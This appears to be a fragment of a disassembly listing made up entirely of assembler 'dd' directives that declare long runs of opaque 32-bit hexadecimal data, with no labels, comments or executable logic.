		dd 8E032594h, 10F7589Fh, 0DCAAB0FCh, 5BEF0062h,	71ECA345h
		dd 0D800AEFDh, 9E01B094h, 2EA516h, 0F91F1711h, 0ADB4291Eh
		dd 1951E500h, 0ECA1223Bh, 1107009Fh, 0B893F9BCh, 0FB7B8EF1h
		dd 12403A30h, 76CA5BEh,	0BC622118h, 0A23660E7h,	0B70013EAh
		dd 958CC50Bh, 730784h, 3B9A5420h, 0A9D4666Ch, 0AF4CB1E6h
		dd 0B3317B4Fh, 5E8F8ADCh, 1ACB864h, 277B810Eh, 0EF6BD7A3h
		dd 0D5DD0C0h, 11D69C0Fh, 20C36EA8h, 0D8E52468h,	85BA5C41h
		dd 4549076h, 0C937060Bh, 8CF4C33Fh, 1A9B5C0h, 0FAD58F00h
		dd 0ABAF2B6Ah, 0D22C00C5h, 0C2A8F455h, 78003679h, 1EDC130Ah
		dd 38391AAFh, 310967E8h, 0E48077F3h, 1279E4FDh,	2EB24D00h
		dd 0A45F0930h, 404A026Eh, 4ED4420Dh, 78D5F040h,	0E35BDB00h
		dd 524FF589h, 9F5D0147h, 27EDA6B3h, 0BBA87B5h, 6B30486Fh
		dd 0BBA96AFh, 0D5F89021h, 0D1AD0481h, 2D37C470h, 13FC287Ah
		dd 14658h, 0EDCA04F5h, 9069054Bh, 7B9E0133h, 7F111624h
		dd 45088F3Bh, 96CBCF5Bh, 7141F300h, 0F0B9F7h, 464C1EACh
		dd 2C7692BDh, 19024D07h, 0FC0066F2h, 1EC0CF4h, 787032A4h
		dd 0E00D16A1h, 2300180Eh, 0F143B876h, 75DD7D55h, 1BC700DAh
		dd 89F54950h, 0E007238Fh, 91BCAD98h, 0D832AF70h, 0A93008Eh
		dd 66B5C3A9h, 0AB49DFE2h, 354C54h, 280BA738h, 72F48F04h
		dd 5A6F002Ch, 0EBBF2F21h, 574CB4Fh, 39C9092Eh, 4455C000h
		dd 0FCE62E6h, 0D3D5020Dh, 0F3C4FC0h, 7007A81h, 0F7FFFEBDh
		dd 318CB1h, 0E459AEF8h,	32E3EC8Eh, 9C9B073Eh, 0B2806081h
		dd 84EFE9Ch, 0E2C207B4h, 102FCD61h, 6C8BD618h, 9577D004h
		dd 0C4D01B75h, 0CE28DD3h, 0E18FCBBFh, 2D00CA8Ah, 64AAFD3Eh
		dd 0A6BD8h, 710472ADh, 0BAC8BB4h, 0BE801200h, 0C6D154Eh
		dd 9846E208h, 0C07D66h,	92C63D3h, 0E3A257D4h, 96E61000h
		dd 2D405628h, 179F1C3Dh, 72DE006Ah, 625086B9h, 3C017400h
		dd 0B07026C7h, 3D080045h, 8DCEA70Bh, 0FDF4D34Fh, 2B2E3100h
		dd 0B428C6FAh, 0E4950782h, 0C7990736h, 145BF043h, 8300069Fh
		dd 9DFB2DC1h, 1ECAD3BEh, 1F55060h, 2EAEA556h, 90D8575Eh
		dd 7858B37Bh, 0CBE69000h
		dd 0B0BCD493h, 0DD0100BDh, 83A2B4F2h, 69013699h, 0C96DE2FDh
		dd 0E7F42CF5h, 0E92E00CBh, 39073E5Dh, 0EF009D7Fh, 49F36CD3h
		dd 7CE7184h, 7A960805h,	66547021h, 0ED00BB12h, 42C0D251h
		dd 3B13DAC2h, 5500DDC5h, 648BEA6Bh, 5426BE98h, 3A00F42Eh
		dd 8D638835h, 0C6201669h, 3B5B0043h, 19F0F93Fh,	0B3165C00h
		dd 9718EAB8h, 7CCF0B66h, 87F66F38h, 86109300h, 478721h
		dd 951E914Ah, 4556A768h, 0C9428B00h, 0F85D8517h, 63730C26h
		dd 0CB092DF7h, 0F49B9103h, 0F92901ADh, 2880679Ah, 93480266h
		dd 0D80082C6h, 0B28D0E87h, 3F9217h, 8C3CEB06h, 5B39D540h
		dd 0E6F07205h, 0F8002052h, 0AFE036F9h, 0EDD83FC6h, 4A3E413Dh
		dd 87033280h, 0A09F955h, 60727F2h, 8823F4B0h, 0B89AE3B1h
		dd 1CD1EEC8h, 4E9FEADCh, 23A05AB9h, 298DA2E9h, 0D00B184Ah
		dd 0C45410B7h, 5F09C05Dh, 8178FDFBh, 7ED48B07h,	849055B6h
		dd 735495A2h, 0F927885h, 52460FDEh, 737D3EC0h, 0D748676Bh
		dd 0CD29002Dh, 0B8752510h, 2790340h, 18707BABh,	0A0DCC09Dh
		dd 1C73F4DEh, 357D1D03h, 0E0BE9BF7h, 0F5DDC93h,	58A96903h
		dd 0C0CFBD80h, 96008018h, 0FDC41708h, 1C4AFAA4h, 80389EBCh
		dd 54D272BAh, 29000FEBh, 0F38BD836h, 0E13D078h,	0D11E6B71h
		dd 0F0F6AFC0h, 8900CDBFh, 79E34F72h, 0D7E863h, 1F4055EBh
		dd 378AC278h, 23BD4803h, 0CDECED50h, 63FFDF00h,	706D3E4Ch
		dd 81B400CEh, 772D25FCh, 0A9581564h, 0F1650EF8h, 0E6A2C0A3h
		dd 7BA793h, 0BE549C31h,	0D84792D9h, 29262C03h, 8815A586h
		dd 646185h, 0B3329FFDh,	4CA3F53Eh, 0AAB0A6C0h, 0F22EC9B4h
		dd 0C160BEDh, 7B00FA07h, 4719239Ch, 527DA0A0h, 0DC283E0Ch
		dd 7DB2101h, 0F7BE5E76h, 0D8A39347h, 0FEF021E0h, 89AF1507h
		dd 38E1A718h, 1EFC4DFBh, 6AD800D3h, 0FF42CD7Bh,	0BB00CF97h
		dd 0E5C809BCh, 43093F0h, 5A1E446Fh, 1C448078h, 4C249EBDh
		dd 0C21468E0h, 550E17C3h, 0B5C7301Dh, 2EC07029h, 8B43C7h
		dd 7122289Ah, 178E2F37h, 10351105h, 50800E64h, 1D9352B4h
		dd 0A8F86E56h, 57B000A0h, 58218D14h, 0D7FE3CA3h, 9796A61Dh
		dd 0F0B80300h, 0B652694h, 35BFC8D1h, 4E433080h,	48029C38h
		dd 575B213Dh, 1FB858BDh, 0BE8CC81Eh, 0D773E380h, 58C6703Fh
		dd 94FAD800h, 80BF06ADh, 62FD0120h, 0D60DE3EBh,	0D60AE93Eh
		dd 1DFCB581h, 21307031h, 983DBA00h, 4BACE32Ch, 0BF940090h
		dd 3B781667h, 0D1009D91h, 3425875Dh, 0B8A17Ah, 500EAF79h
		dd 0D3E3CBADh, 0B2E1E700h, 0A75E2124h, 0BE43002Ah, 1D16BF91h
		dd 8100B906h, 0F32272B3h, 0C042E5h, 13E96F33h, 2C4BC92Ah
		dd 0D7B38E01h, 0FFAA544h, 66F0F881h, 40A96FBBh,	5C8EDFFCh
		dd 0A3576B03h, 0E1D9FB3Eh, 0CD3040C6h, 1A202ABh, 2754CBF6h
		dd 0D19448C0h, 2ECD3D00h, 22E47E1Dh, 6E000F5h, 6A4590FBh
		dd 9C0FC958h, 20CD91F9h, 0D19DD7Fh, 3766002Bh, 0ACBD5A04h
		dd 0FC00A502h, 0BF700614h, 1220B055h, 0B12487h,	2C3A5377h
		dd 0B903FE3Eh, 0B6A4AB54h, 0B220BF19h, 0F289451Ch, 0A2DF0041h
		dd 4E5CDF7h, 5B00B6E1h,	18D2BA60h, 0C2064h, 0D6F9DD41h
		dd 14896AD4h, 3C97721Ch, 843B55Dh, 0C8C205BCh, 38E5501Fh
		dd 231E7188h, 0AD127Eh,	9E829BF4h, 4F0128AFh, 0C3E41C0Dh
		dd 0E3E6F1FFh, 2386A862h, 989B015Ch, 3E947161h,	0A163D466h
		dd 0E8E31D00h, 0F5BA64DDh, 478A0409h, 9084229Bh, 0C805A1F4h
		dd 54001FECh, 6E230A9Ah, 38911FBh, 33C4455Ah, 0D1C8CCEFh
		dd 640E02E9h, 0BFE06710h, 8948003Ah, 0BD4E65FEh, 443100A2h
		dd 9FDC0F21h, 0F32666E9h, 0D99FF823h, 0A6CE7B40h, 7AD49EC4h
		dd 60E8A261h, 0B4AF81h,	3F23344Ch, 8CA101FFh, 9DB99601h
		dd 45760333h, 3928C0h, 0DFA7359Fh, 54A00491h, 0CA805000h
		dd 0C90C3B30h, 3ED50495h, 80469406h, 0A50F2728h, 0ECD11100h
		dd 0B60DC573h, 1E89239h, 51D69BE5h, 0ECDAC41Dh,	351E8CC6h
		dd 4E80E43Ah, 9B54642Bh, 8446012Ch, 0D3DBE6ECh,	0F020D90Dh
		dd 0CB00A9DDh, 4A2EFB60h, 0BCB346h, 9B3B9A50h, 3197C994h
		dd 0EE7CF58h, 8259B9E8h, 40722FA3h, 0DE5C50h, 0C7F5F6F1h
		dd 0A557C3E2h, 0CCC04400h, 3C35210Ch, 0AB662734h, 0A3012089h
		dd 0FC151ABDh, 0BA48309Dh, 210D00E0h, 0AAF075B9h, 867900DCh
		dd 9AB2E08Dh, 0EA278EFCh, 65680039h, 16B4293Bh,	146948A6h
		dd 3838B7F4h, 0DE74E480h, 9C8F01Fh, 7C0F9500h, 6E141CEBh
		dd 6229078Ah, 19345B8Bh, 5ED2F380h, 3CE84C13h, 0E516ABF6h
		dd 30C0E380h, 0E6603D87h, 0D3CF02F5h, 5A3C7B8Dh, 0AAA1F880h
		dd 840059A2h, 0F2FDD9D2h, 164E61h, 8D3429D5h, 196C5DE5h
		dd 0AE3E9500h, 7A1F67E6h, 61090C6h, 460A638Eh, 88011178h
		dd 0BC8680C8h, 0E430DD67h, 8B1B00ADh, 296D870Dh, 5B031116h
		dd 534E1F8h, 0CDFCC8E5h, 0A2CE0055h, 0E03D27D4h, 0A3000D7Ah
		dd 2126D99Ch, 5C827EBEh, 0FB7BEAE7h, 0C406B61h,	0C511017h
		dd 77C4C212h, 7500C7F6h, 0A6E77FF1h, 0FD67195h,	1DB49F96h
		dd 4547820h, 89F83CFCh,	82232Dh, 14A22867h, 88F82C1Eh
		dd 5C20006Ch, 9C5DE990h, 190078E0h, 0C8A96BD7h,	14D76D9h
		dd 0E3122F36h, 0D45EBFA1h, 4900370Bh, 7F0F180Ch, 34FB72h
		dd 83A929C4h, 0E992749Fh, 897C0D00h, 41368F88h,	90C900A3h
		dd 8EAD12B9h, 0D500FF28h, 8DDBA027h, 0E64DAA9Bh, 416B003Ch
		dd 0AB73B060h, 4A015BFDh, 0A3DDD7A5h, 7DF456F4h, 1F4F0F2Ah
		dd 79E1FC22h, 0C0B1E1F6h, 17CF4A7h, 83E27B00h, 0FE789FD0h
		dd 9459585Fh, 888C4118h, 0B4FECAA4h, 757BD001h,	77E10805h
		dd 0BAD6E040h, 0BC5037Fh, 53790325h, 9C26EDF0h,	0D0452028h
		dd 0D14F29FEh, 7042CC40h, 94C328h, 4ACA2377h, 2CB45BD3h
		dd 0EAEE1B75h, 810A1439h, 7B200F75h, 6430775Ch,	0A6FE072Ah
		dd 205B38DAh, 0CED9BBF2h, 0D7230D00h, 7C9B480Fh, 4A8700ECh
		dd 71DDB50h, 5FF8A5D1h,	0D700C776h, 0C1C55517h,	0F79A1A3Ah
		dd 7E4B0D4h, 10ACD969h,	60BF007Eh, 0DC001F47h, 3A9F68A9h
		dd 3012C3C0h, 34C848D4h, 8A01C19Ah, 0A0F81AACh,	0D6C46551h
		dd 93412425h, 0B6EA85CCh, 0A98C00D4h, 1866A0C1h, 0DAB85E00h
		dd 59EF31FBh, 0F16100D1h, 0C53A2F3h, 84989369h,	901DD71h
		dd 0B57D472Eh, 8C706F4Bh, 0A02C5042h, 0D6E90077h, 0F0B9D2BFh
		dd 8800A92Eh, 44241EB2h, 77AE8E4Bh, 0C6E70337h,	322F6DB4h
		dd 8F3683F4h, 4127CDF8h, 7455C900h, 0BAA5FBC4h,	327B2605h
		dd 307E0503h, 3AB0A057h, 7627DE0Eh, 0A716E573h,	80D8F04Bh
		dd 0B9645B11h, 0EF3F1D93h, 0A080AD60h, 22FA3EB3h, 0BC7A71F8h
		dd 822E0203h, 3970B050h, 17BDBD60h, 0BBF11F8Fh,	31343680h
		dd 0CB3E16A0h, 0DB96872Ch, 73C062C9h, 28990397h, 0FA4E125h
		dd 0AC478DFAh, 6FEA9D80h, 9400708Bh, 2AF71AB3h,	1B136AEh
		dd 2FAB6516h, 0D8C8991Bh, 3100A49Ah, 3388B25Ch,	244958DCh
		dd 5431475h, 0C7C4AA81h, 0B81740DEh, 1036087h, 6DF047CEh
		dd 0D300E784h, 79BF542h, 0E39C9389h, 644E2013h,	74003C5Ah
		dd 7F4061B2h, 0E650DBh,	3A7D1B28h, 0BDCC452Ah, 0F7DA2302h
		dd 60BE8A19h, 310F313h,	0F0B2A829h, 0B988EC12h,	4F00BF74h
		dd 1C2A6BDh, 0A0E399h, 0FE8C1D60h, 0BFFB6817h, 0CBD26601h
		dd 56786735h, 1A8E60h, 4324844h, 0BC16C6B8h, 50B70100h
		dd 5ADFDA7h, 4FD30046h
		dd 0D27331D7h, 2000CB38h, 0D695D8EAh, 0F0592B5h, 0C250A50Dh
		dd 0BFA45560h, 1100384Eh, 0B59D0673h, 0CDBED9h,	69BB10E2h
		dd 990904A9h, 3DEBA203h, 8039E7EEh, 0D2208Bh, 0A8AE30BEh
		dd 217C999Dh, 126BA48h,	0CAF393D6h, 0F7F0183Bh,	0A4D55069h
		dd 41FF0058h, 9D46C62Ah, 0F90176EEh, 619BF319h,	9041E165h
		dd 8C50C7F8h, 724F45h, 0DF2FFFCFh, 0D3BA7192h, 8FF1B007h
		dd 17106C3Ch, 1F6C9CBh,	163A6043h, 0D49547A5h, 1A0193FFh
		dd 5442CDB4h, 9040B927h, 1D6D5880h, 0C0D4F98Ah,	9B364C03h
		dd 8F0034F7h, 95624B37h, 685ECEh, 706CBA2Ch, 60973DA3h
		dd 0CCC13Ch, 9E3C1E73h,	3E98BDD6h, 0B1830994h, 0B022D2E5h
		dd 805CC8B9h, 0C9026F4Ch, 549D7F1h, 926EC4CBh, 2779C03Ch
		dd 62011B08h, 0F6FE67Ah, 1B20B922h, 26B300DCh, 0A933ABFAh
		dd 0E7981A70h, 2901BA76h, 49A65101h, 47E44CC3h,	0B21200ADh
		dd 682B16ECh, 0A003DD0h, 26CD11E1h, 3A7CB13h, 0A074FE07h
		dd 8C98E25Bh, 0FB040CD9h, 0F1D3569Bh, 4D5D5680h, 0FA740008h
		dd 19220511h, 0E07B6C9h, 0C5279916h, 6B40D707h,	0CB64FAh
		dd 3FC65D66h, 14290D19h, 0C2F2750Fh, 70C34044h,	780489h
		dd 0FEF4966Bh, 0E3EB7D3Eh, 0C55B2200h, 34598BA0h, 5C5E00EFh
		dd 0C7DE79E5h, 98305D1Fh, 7E92516Bh, 20E86Fh, 2FB57A4Eh
		dd 6E4B6D43h, 720605Ch,	38E3D370h, 8B3A4F70h, 95961F9Ah
		dd 4C08B04Ah, 7200ACE0h, 0C4DF14C0h, 9BCAF5h, 94C105EFh
		dd 0ED6D538Ah, 0D307927Ch, 9ECB5F11h, 0C7C097F5h, 424D2h
		dd 42FE0E08h, 14BA6ACAh, 3000FEEh, 78C2992h, 682E6FBh
		dd 0BDC0409Ah, 51770CDDh, 72006CECh, 0ACB091C1h, 103A77h
		dd 25825AEEh, 8C7D7194h, 4BBFE0C7h, 1A0F80DBh, 0A57412h
		dd 6E9C4384h, 5D3BCFAh,	0E1D16600h, 7AABEEB4h, 4861009Eh
		dd 0D08B3B39h, 0CC17FD6Ch, 9700AD0Ch, 2981A14Fh, 702039Bh
		dd 23F4A898h, 0EE9285A8h, 5A218609h, 7370036Ch,	2EAE887h
		dd 3BB670A9h, 1907E6A5h, 20AEE370h, 6A3E3F1Fh, 40DD340Fh
		dd 3BCF408Fh, 2E9A120h,	85833B3h, 3141BC4Fh, 9B2FFC22h
		dd 2DCB4C07h, 268087B1h, 3B4884CDh, 307F154h, 80C32AE8h
		dd 7371EDBDh, 0DB70A100h, 5BE984F3h, 0F0B006h, 2728F55Ch
		dd 54CEC91Fh, 0E57F9A00h, 0C0EE04F8h, 42E7D3Ah,	0FE3DBA18h
		dd 0FFF6C061h, 28C0A585h, 0F088FC45h, 0D8FD00CDh, 0BEDA49B4h
		dd 0F103B1BAh, 0F5D1E308h, 85B898C5h, 3EB472ABh, 1400F753h
		dd 51182687h, 0ED00AAFDh, 1D54B7AEh, 71B8DF7Dh,	87A004Bh
		dd 0C8161E3Dh, 0BA1EC3A5h, 0D05EFF90h, 0B663B080h, 6C4622h
		dd 444B4227h, 7BA8BEDDh, 32C6D00h, 0FDBB3980h, 0D8BD1D13h
		dd 0EC6F4229h, 980095CEh, 0B00B3D16h, 0A2EFE996h, 988B53h
		dd 63E0E122h, 6E030E3Ch, 0E6406A06h, 0DA5F7124h, 0FB916100h
		dd 9D753FC5h, 14330040h, 0E8ECC4DBh, 610082D2h,	6D5BBBADh
		dd 7B55AFC2h, 1858C081h, 0EEE96BC3h, 0E21E7400h, 9E34BA6h
		dd 0B8D60097h, 7E2368DFh, 3E7AEA38h, 42F85700h,	11CAD23Dh
		dd 0B51C0078h, 0C5178715h, 4600ED1Eh, 0D78D28F7h, 0A4EEF6h
		dd 66F47A11h, 0E90E9AB0h, 0CE7FEA00h, 10B2357Bh, 44D002F2h
		dd 0F341EFADh, 61863A40h, 8A48014h, 42383FC0h, 6CF6072h
		dd 9B84B16Dh, 996B1B00h, 1A8D984Ch, 7ED9006Fh, 70FDE35Fh
		dd 0E538A7B7h, 0ECC700EAh, 186A1D6Eh, 0E82E12A0h, 0BF404009h
		dd 0BDFB538Dh, 11949A00h, 0CDD33E5h, 6AE0002Ah,	0DE54EA7Ah
		dd 0BF55CA25h, 3B807EBCh, 0F622AC9h, 564EE4E2h,	1F403600h
		dd 891E58D2h, 4B4978E6h, 0C1008023h, 371D5759h,	39985DCAh
		dd 0C520B400h, 0A200A185h, 4A075C8Fh, 37E406h, 0AF2B4E1Ah
		dd 0BB8145CCh, 0ACBD2D03h, 0A0AA58E0h, 3A37F9E1h, 0F2433C6h
		dd 22770081h, 9F4AFF36h, 5243E600h, 0DA6A23A1h,	4450FECh
		dd 9B20B2ADh, 244CC578h, 4DF9E90Eh, 1B40DD88h, 99A2F879h
		dd 0EB223E1Ch, 7FDF5F80h, 443D0DC7h, 0A84C0F12h, 6BC08C00h
		dd 657892h, 9C332F70h, 0FC8BE2BEh, 4A3F1503h, 110CB5Bh
		dd 0DED667D0h, 0CF3296B4h, 9844D1A0h, 53C0B500h, 6470CA83h
		dd 88AE0E5Fh, 3C2E23E4h, 84F8BE0h, 0B24B705h, 5C007CF8h
		dd 7ACF3CBh, 95B10720h,	0A07C4A82h, 6504A227h, 0EDE73B00h
		dd 419DBFE0h, 0DFE81FEFh, 73B48096h, 14DB77B2h,	8ADD0F00h
		dd 9201321Ah, 0C83B0FC2h, 37C0BF85h, 0D8730CF4h, 25345E00h
		dd 0D71DAE4h, 58E00E6h,	0B20A4F28h, 9A00561Ah, 7518C509h
		dd 3B1590C6h, 0B883246Eh, 0F7A9E76Fh, 8FF511B8h, 0CE379D02h
		dd 0C0139162h, 5A5E2Ch,	5740D27Eh, 0FFA6E578h, 0C32C4207h
		dd 871973A9h, 0D6B53470h, 0A3609F80h, 16F1000Bh, 0F4232D52h
		dd 3600ECA7h, 751F1B5Bh, 4C636C2Eh, 0FC02A365h,	98F9B9D6h
		dd 111DC060h, 52901E01h, 0BA0FE84Ah, 0EAC44DCh,	6EA7482Dh
		dd 0D0D46400h, 0ED7F17DAh, 241CBEA0h, 1698D48h,	0F961C7FBh
		dd 0A083891Eh, 3151FA2h, 0DE814CE8h, 69C638C0h,	117AAD2h
		dd 27253532h, 923C46BEh, 4AE6D16h, 0C07691F6h, 0A0065908h
		dd 6C33F200h, 25D5C611h, 97718h, 9ADA6FBAh, 8DA6BF3Eh
		dd 0BDE0BD3Eh, 0B05700D1h, 0AE121508h, 0BCD7045Bh, 0C01130D6h
		dd 0C986597Bh, 64A68800h, 0B7392E20h, 3D417408h, 48A618C7h
		dd 0DDD51F20h, 6FF840AEh, 0DFC336ABh, 0B1F6311Dh, 2E115D00h
		dd 5F3DC6Bh, 0B8ADEC81h, 8350C549h, 64D875C2h, 4A16443Fh
		dd 0B90055CEh, 0C35D2AAAh, 635F0269h, 0FA23CAE7h, 0C5809061h
		dd 21B6EC4Bh, 48AC4Ch, 0CC5ACF82h, 7723D0Fh, 7C98C56Eh
		dd 0C4BC1316h, 0F21A8FE8h, 0D3D15E00h, 5BC30897h, 1E9C00A3h
		dd 9BBB11A6h, 250080E6h, 8ABDEE7Ch, 28A84Fh, 0CFC2E3FFh
		dd 44ECDEFh, 0A031BB00h, 0A9913DE8h, 0E69F78C6h, 14EE27h
		dd 591D1244h, 47FEDEC2h, 8B22B000h, 841C5E6h, 7672980Dh
		dd 0F517407h, 7D8AA7EAh, 0F3F1A60h, 5C072EB7h, 0FF963EA2h
		dd 0E728D330h, 5894607Ch, 6F3C0507h, 0F18431C7h, 0C05BB811h
		dd 0A733F8C3h, 0A8140018h, 154EE78Ah, 0D93A8201h, 0EDDC00F4h
		dd 887EC079h, 38D6EE91h, 0A9009CB2h, 0F124F9A5h, 0FC00B7BFh
		dd 365DC3F2h, 3AA237F0h, 0AD805794h, 834AE43Eh,	280054B5h
		dd 84BE5103h, 1056388h,	60F6E31Ah, 0E4738FF4h, 0AB2BA56Ah
		dd 3F81A01Ch, 74E80F21h, 618FC8EFh, 50B91441h, 3703CD17h
		dd 2AAB26E2h, 5FC01AC2h, 70396607h, 4A6AB3E7h, 3A06001Eh
		dd 0AECA35D6h, 492EEDB4h, 0C3B7BC8h, 0F0E5D486h, 10BA0380h
		dd 0FA9985FEh, 84140907h, 9A80E4DFh, 25D2F2h, 91D7DE97h
		dd 0E23B5081h, 1A3C5F00h, 0EB6C7942h, 62EE1DCFh, 8B2B1DBBh
		dd 500F56Bh, 9C18090h, 8C840A01h, 11F8D286h, 89DCC080h
		dd 20B03A69h, 374F738h,	8785707Fh, 0E702D88Bh, 89C8000Ch
		dd 94C05A66h, 1C00A2A9h, 2D9CA61Fh, 0F7962h, 5457DEAEh
		dd 4708B25Dh, 37D88100h, 0D6F32EADh, 0F76C006Eh, 855E72BBh
		dd 4D0F0E96h, 2E13DA31h, 1BDC208Eh, 18DD17Ch, 7B46FAA9h
		dd 60564B40h, 0B007845Ah, 36CA1F16h, 0C0A49522h, 0CBEA7Bh
		dd 1A967830h, 0CF473181h, 52BD5E03h, 0B08C6192h, 48EA6EC1h
		dd 94003CC3h, 3B1555F7h, 4100BB80h, 0E39CD65Ch,	9F58BDh
		dd 2BD39387h, 10A00523h, 6A187A00h, 75D01117h, 0C1A1D85h
		dd 0AC03FFE8h, 0E7977E37h
		dd 68441FC0h, 61F94300h, 0A3050FE9h, 0F4E65066h, 55B80626h
		dd 28FCE14Ch, 0AF311B00h, 727EB7E0h, 7BEF0098h,	719A8DC2h
		dd 9E0106A8h, 6777A2F9h, 0EB6F07h, 7DAD4008h, 0DC87B35h
		dd 0EDD3CD03h, 806C8DFBh, 583D0h, 10FC51C5h, 7ECCCA63h
		dd 0E54A6D09h, 8A9E03EEh, 14FDA1D2h, 1886C1F8h,	5847D908h
		dd 5000382Eh, 0FC8513C5h, 7188F14h, 2808B37Dh, 5316803Bh
		dd 0C3A031FDh, 6000D1DBh, 7CFEF73Ch, 94CC47h, 1D057201h
		dd 2AC658B9h, 3E0A4800h, 1B092D64h, 755C0021h, 348D32FEh
		dd 0F107B5BAh, 58E6C3E3h, 1D3AD10h, 28971244h, 70460313h
		dd 8398A612h, 2671D20Eh, 436F5800h, 4A0532FFh, 9B270013h
		dd 0C4647EE0h, 811C48D1h, 0F0810F94h, 70F7CDBAh, 66F053E1h
		dd 0FC77000Eh, 969D6584h, 0EB7CE957h, 0DFC87D50h, 35503F00h
		dd 85A4A829h, 1CC4B01Ch, 2C34AAh, 13677FBBh, 3B0011D3h
		dd 5703C0CFh, 1461D5A5h, 0DAE701F3h, 4A4B6804h,	0EE5C801Ah
		dd 909850A4h, 61C53E02h, 0C2465AB4h, 0B3E020F2h, 0EC015F0Bh
		dd 7A00098h, 0BEDFE72Dh, 6C0310FEh, 339134D4h, 3BC4B881h
		dd 0A6BB0012h, 0C5BEDA1Bh, 9B00D0D5h, 0C66B421Dh, 0EEF902E5h
		dd 38D81670h, 0C0C11E0Fh, 0FAFE3109h, 1F00468Dh, 1CF1FBF8h
		dd 1F7F341Eh, 7AE08DCh,	307B5815h, 472EE78h, 77CB6E07h
		dd 1C51F895h, 29300A12h, 98901363h, 16CD065Fh, 0F66F1094h
		dd 0ADAFC02Eh, 71383D1h, 2F1FCF5Dh, 0E41AA03Bh,	6924ACAEh
		dd 0EE00DC12h, 1587456Ah, 0D8DC0037h, 3ADE3B7Ah, 0E260E9F7h
		dd 27CD2410h, 44CE17Ch,	3A31C03Dh, 2EA287Fh, 5C7910C9h
		dd 0D361048Ch, 37A890BAh, 0B901E24Ah, 7DAB93C1h, 18E4C298h
		dd 0E63313A5h, 77D80026h, 9AF3B430h, 0F20160ECh, 0F5A57D52h
		dd 71C55C01h, 0FF1C4880h, 68361369h, 88E8C27Fh,	5C0042E8h
		dd 458A6DF2h, 0E3885FAh, 4D9CF023h, 4EC270A0h, 0A500BD56h
		dd 394A9EBAh, 0CC0DE98h, 70B2A10Eh, 0C248F559h,	0DD3065D8h
		dd 27BB8C43h, 9F53B08Fh, 2654009Eh, 0A5E29160h,	1600BE0Ch
		dd 0A2742FA6h, 79D9764h, 0F898A3EFh, 0F7BA637Ch, 0F534C079h
		dd 60489E17h, 581037h, 0C47C68D6h, 71A101Bh, 0E25F0597h
		dd 0AEACD0C1h, 2E0044ADh, 7FB13F33h, 4FC52621h,	1192079Fh
		dd 4ABA80DDh, 790057EDh, 3E047AFDh, 1FEBF2Ah, 0A39491DFh
		dd 0D8994355h, 0C10049D1h, 0D3A276EEh, 7D3C73h,	0A3504FB1h
		dd 398631BFh, 7C057B00h, 0CD1FF252h, 0A1A3D44h,	0E882F80h
		dd 769980A2h, 0CA787975h, 9220DC00h, 9A738433h,	0C7E50048h
		dd 66C41CEh, 2F00C01Ch,	3B185B13h, 0B2216652h, 42652C8h
		dd 460530E0h, 0FEEB747h, 0C31FE3F0h, 4B82C9h, 47420F18h
		dd 46488DAh, 31560600h,	4A77449Dh, 0F8FD017Fh, 0C4562F1h
		dd 2908CF92h, 10579BA0h, 429488BEh, 0CC2EBB42h,	444E5103h
		dd 0E744605Dh, 0A8BE44F4h, 6DC12284h, 2F295C60h, 252A17h
		dd 0DC3EE6B2h, 0F94A397Ah, 5A874100h, 0F5D9FFE9h, 0AA6000E4h
		dd 0C19E2598h, 92391510h, 0D15B9F68h, 4B5F987h,	86FE6D30h
		dd 0D7EA1C41h, 84A38024h, 13488EDCh, 7501ED2Eh,	6756D900h
		dd 0BE75F3h, 194C51B1h,	916D903Dh, 1D0F6500h, 926BC07h
		dd 0BA2200DAh, 407519C6h, 0D81D437Bh, 0B9CE0250h, 0CDCA802Ch
		dd 3D9C4FCh, 9C9555C1h,	5B1CF40h, 682DECFEh, 0D0F0A703h
		dd 8854B443h, 27ABD220h, 0F841F38Dh, 0A5D04031h, 213DF81Ch
		dd 10350018h, 2A50711Dh, 0D96F0779h, 30989942h,	33B570C9h
		dd 93458F00h, 9F2C90E7h, 27070125h, 0F505A47Ah,	0A8FEC486h
		dd 0BF159800h, 0ACB3312Ch, 0ADD301C5h, 0B29E2D49h, 0FF142042h
		dd 1B891300h, 1A3F2852h, 45CD3F2Ah, 0C52BE381h,	0D85DBF69h
		dd 7900D5B8h, 0E68D406h, 0A541Dh, 0F8E551ACh, 5727914Eh
		dd 0AD5A3D00h, 642804F1h, 6C77914h, 8A2AEF65h, 0E200E2A8h
		dd 9C1D239Fh, 184FF587h, 70E0A232h, 2F003798h, 0DE920512h
		dd 67F6C6h, 46FFBDABh, 0E8A22C41h, 4A153300h, 561B3E87h
		dd 44833830h, 0EA059680h, 1E436320h, 0AB00A4F4h, 7F85FB9Dh
		dd 485ECE03h, 0EE045CEFh, 0EFDCE35Fh, 0D9071C83h, 0EE05117h
		dd 9F9506F8h, 0A6AC8E55h, 0D7DF0400h, 4EC06A4Ah, 0F14C003Eh
		dd 322A34F9h, 1600A7E8h, 15FB1A51h, 240BEBh, 0CA926257h
		dd 0BFBDDC72h, 75A98518h, 0C99A1Ch, 5DC0377Ah, 0DB94357Ch
		dd 15308700h, 5065FECDh, 0E26C00ACh, 26ECBBA0h,	57003708h
		dd 0F8427FC3h, 0E3D57Ah, 2E8E3E0Fh, 0B259F9DFh,	18F4C81Fh
		dd 0E262780h, 2A55C4h, 0B1D6AD63h, 513DAAF2h, 0F3C0495Ah
		dd 3BB60FE6h, 0E780231Dh, 469CA6A2h, 0D61C819Dh, 30BC3BA1h
		dd 2652AA30h, 0F13200B5h, 6EC9E809h, 511FCE20h,	860153D9h
		dd 0B40AD203h, 24012C30h, 80A48D46h, 82DF7F0Bh,	0AC007387h
		dd 0AFEEA2ABh, 335034D0h, 9510FF98h, 434CB5B0h,	0C1121D00h
		dd 16ABAE68h, 0D63B07ECh, 0E0D9878Bh, 0BF274C58h, 8147CB00h
		dd 57E11435h, 0BE12073Fh, 70E47A23h, 82CAA4FBh,	72503B3Ah
		dd 0FD4BD30Ch, 69C827h,	0D51D8A7Bh, 36FF2EA2h, 6B18BD60h
		dd 0FC2FEF12h, 6633002Ch, 0C2B3854Ah, 490618D1h, 531FFDE5h
		dd 8760000Ch, 9D3F95E8h, 0D8004216h, 0B39F685Bh, 987DB0FDh
		dd 393C1DACh, 0A0F34926h, 52052980h, 0B00E0E5Bh, 4179404Fh
		dd 4A01667Ch, 7D0AFE9h,	318B00F9h, 5EB872BAh, 0FE00AD77h
		dd 0A8DC1589h, 785A9444h, 0C19C00A0h, 38A3C529h, 8700CCFAh
		dd 0A7151458h, 90C7160h, 0A0837301h, 6B07040Fh,	61244017h
		dd 3700BD10h, 27D596C4h, 3E2BE581h, 7900E22Dh, 0BB2449E1h
